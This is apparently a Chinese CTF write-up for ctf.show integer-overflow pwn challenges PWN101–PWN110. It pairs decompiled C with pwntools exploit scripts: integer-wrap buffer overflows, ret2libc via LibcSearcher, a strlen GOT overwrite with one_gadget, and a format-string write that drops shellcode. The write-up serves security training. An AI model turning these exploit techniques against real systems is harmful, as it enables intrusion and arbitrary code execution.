PWN101
int useful()
{
puts(" ====================================================================================================");
puts(" Type | Byte | Range ");
puts(" ====================================================================================================");
puts(" short int | 2 byte | 0~0x7fff 0x8000~0xffff ");
puts(" unsigned short int | 2 byte | 0~0xffff ");
puts(" int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff ");
puts(" unsigned int | 4 byte | 0~0xffffffff ");
puts(" long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff");
puts(" unsigned long int | 8 byte | 0~0xffffffffffffffff ");
return puts(" ====================================================================================================");
}
这里的0 ~ 0x7fffffff就是 0~2147483647 ,
0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1
输入
-2147483648 2147483647
PWN102
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0;
printf("Enter an unsigned integer: ");
__isoc99_scanf("%u", &v4);
if ( v4 == -1 )
gift();
else
printf("Number = %u\n", v4);
return 0;
}
有符号和无符号比较时,会把有符号转换成无符号类型,-1 对应的二
进制表示为 0xFFFFFFFF,也就是 4294967295
PWN103
输入 0 ,-1
PWN 104
ru(b"How long are you?")
sl(b"-1")
ru(b"Who are you?")
system_addr = 0x40078D
payload = b"a"*(0xe+8)+p64(system_addr)
sl(payload)
PWN105
char *__cdecl ctfshow(char *s)
{
char dest[8]; // [esp+7h] [ebp-11h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Authentication failed!");
exit(-1);
}
printf("Authentication successful, Hello %s", s);
return strcpy(dest, s);
}
这里的v3是int8类型,说明是一个字节大小,对应的二进制范围是0~1111 1111,十进制是0~255,当我们输入的字符串内容长度大于255时又从0开始计算。即256对应大小为0,257对应大小为1,因为v3要大于3小于8,所以我们的长度可以为 260
system = 0x804870E
ru(b"[+] Check your permissions:")
payload = b"a"*(0x11+4)+p32(system)
payload = payload.ljust(260,b"a")
sl(payload)
PWN106
和PWN105一样
ru(b"Your choice:")
sl(b"1")
ru(b"Please input your username:")
sl(b"aaaa")
ru(b"Please input your passwd:")
payload = b"a"*(0x14+4)+p32(0x8048919)
payload = payload.ljust(260,b"a")
sl(payload)
PWN107
输入 -1 即可栈溢出
ru(b"How many bytes do you want me to read? ")
sl(b"-1")
ru(b"bytes of data!\n")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_ret = elf.sym['main']
payload = b"a"*(0x2c+4)+p32(printf_plt)+p32(main_ret)+p32(printf_got)
sl(payload)
printf_addr = u32(io.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher("printf",printf_addr)
libc_base = printf_addr-libc.dump("printf")
system = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
print("libc_base---------------------->: ",hex(libc_base))
ru(b"How many bytes do you want me to read? ")
sl(b"-1")
ru(b"bytes of data!\n")
payload = b"a"*(0x2c+4)+p32(system)+p32(main_ret)+p32(binsh)
sl(payload)
PWN108
puts函数是一个高级函数,也就是执行这个函数过程中会调用一些其他函数,例如strlen()函数
如图为puts函数汇编代码开头一部分,puts函数又调用了strlen函数,也就是在libc中执行puts函数时,又通过strlen函数的got表跳转到了strlen函数。
我们去劫持strlen函数的got表为one_gadget即可
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_9BA(a1, a2, a3);
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");
v6 = sub_B78(); //输入我们要打的地址,由于里面有atol函数转化为数字,所以不能用p64,要有str()
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL); //接受3个字节
getchar();
}
if ( (unsigned int)sub_BC2(v7) ) //这是个check不允许数组的前两个元素同时为 0xc5 和 0xf2 ,或者 0x22 和0xf3 ,或者 0x8c 和 0xa3简单来说就是限制了gadget:
{
for ( j = 0; j <= 2; ++j )
*(_BYTE *)(j + v6) = v7[j]; //修改指定内存地址的低 3 个字节
}
if ( !dlopen(0LL, 1) ) //测试程序是否能够正常使用动态链接功能
exit(1);
puts("bye~"); //会调用strlen
return 0LL;
}
这里泄露了puts函数的地址,相当于拿到了libc基址。也就是任意地址任意写。
这里可以拿到j_strlen的偏移是 0x3eb0a8 ,然后打one_gadget
ru(b"I placed the target near: 0x")
puts_addr = int(r(12),16)
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
strlen = libc_base+0x3eb0a8
one_gadget = libc_base+0xe54fe
print("libc_base-----------------_>: ",hex(libc_base))
ru(b"shoot!shoot!")
sl(str(strlen))
for i in range(3):
ru(b"biang!")
sl(p8(one_gadget & 0xff))
one_gadget = one_gadget>>8
PWN109(fmt)
有格式字符串,利用格式字符串来打
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28276)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def inp(data):
sla(b"Quit!!!",b"1")
ru(b"\n")
sleep(0.3)
sl(data)
def fmt():
sla(b"Quit!!!\n",b"2")
payload = b"aaa.%8$p"
inp(payload)
fmt()
ru(b"aaa.0x")
stack_addr = int(r(8),16)
stack_ret = stack_addr-0x24
print("stack_addr-------------->: ",hex(stack_addr))
payload = p32(stack_ret)+p32(stack_ret+2)+b"%"+bytes(str((stack_addr+28)&0xffff),"utf-8")+b"c%16$hn"
payload += b"%"+bytes(str(((stack_addr>>16)&0xffff)-(stack_addr+36)&0xffff),"utf-8")+b"c%17$hn"
payload += b"aa"+asm(shellcraft.sh())
inp(payload)
print("stack_addr-------------->: ",hex(stack_addr))
# gdb.attach(io)
fmt()
itr()
PWN110
泄露栈地址,改返回地址为栈地址,然后写shllcode。
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28276)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
ru(b"1+1= ?\n")
sl(b"-1")
payload = p32(0x804887D)+b"a"*(0x41b)+p32(0x0804887D)
sl(payload)
stack = int(r(8),16)
print("stack--------------->:",hex(stack))
ru(b"1+1= ?\n")
sl(b"-1")
payload = asm(shellcraft.cat('/ctfshow_flag'))
payload = payload.ljust(0x41b+4,b'a')+p32(stack-0x10)
sl(payload)
itr()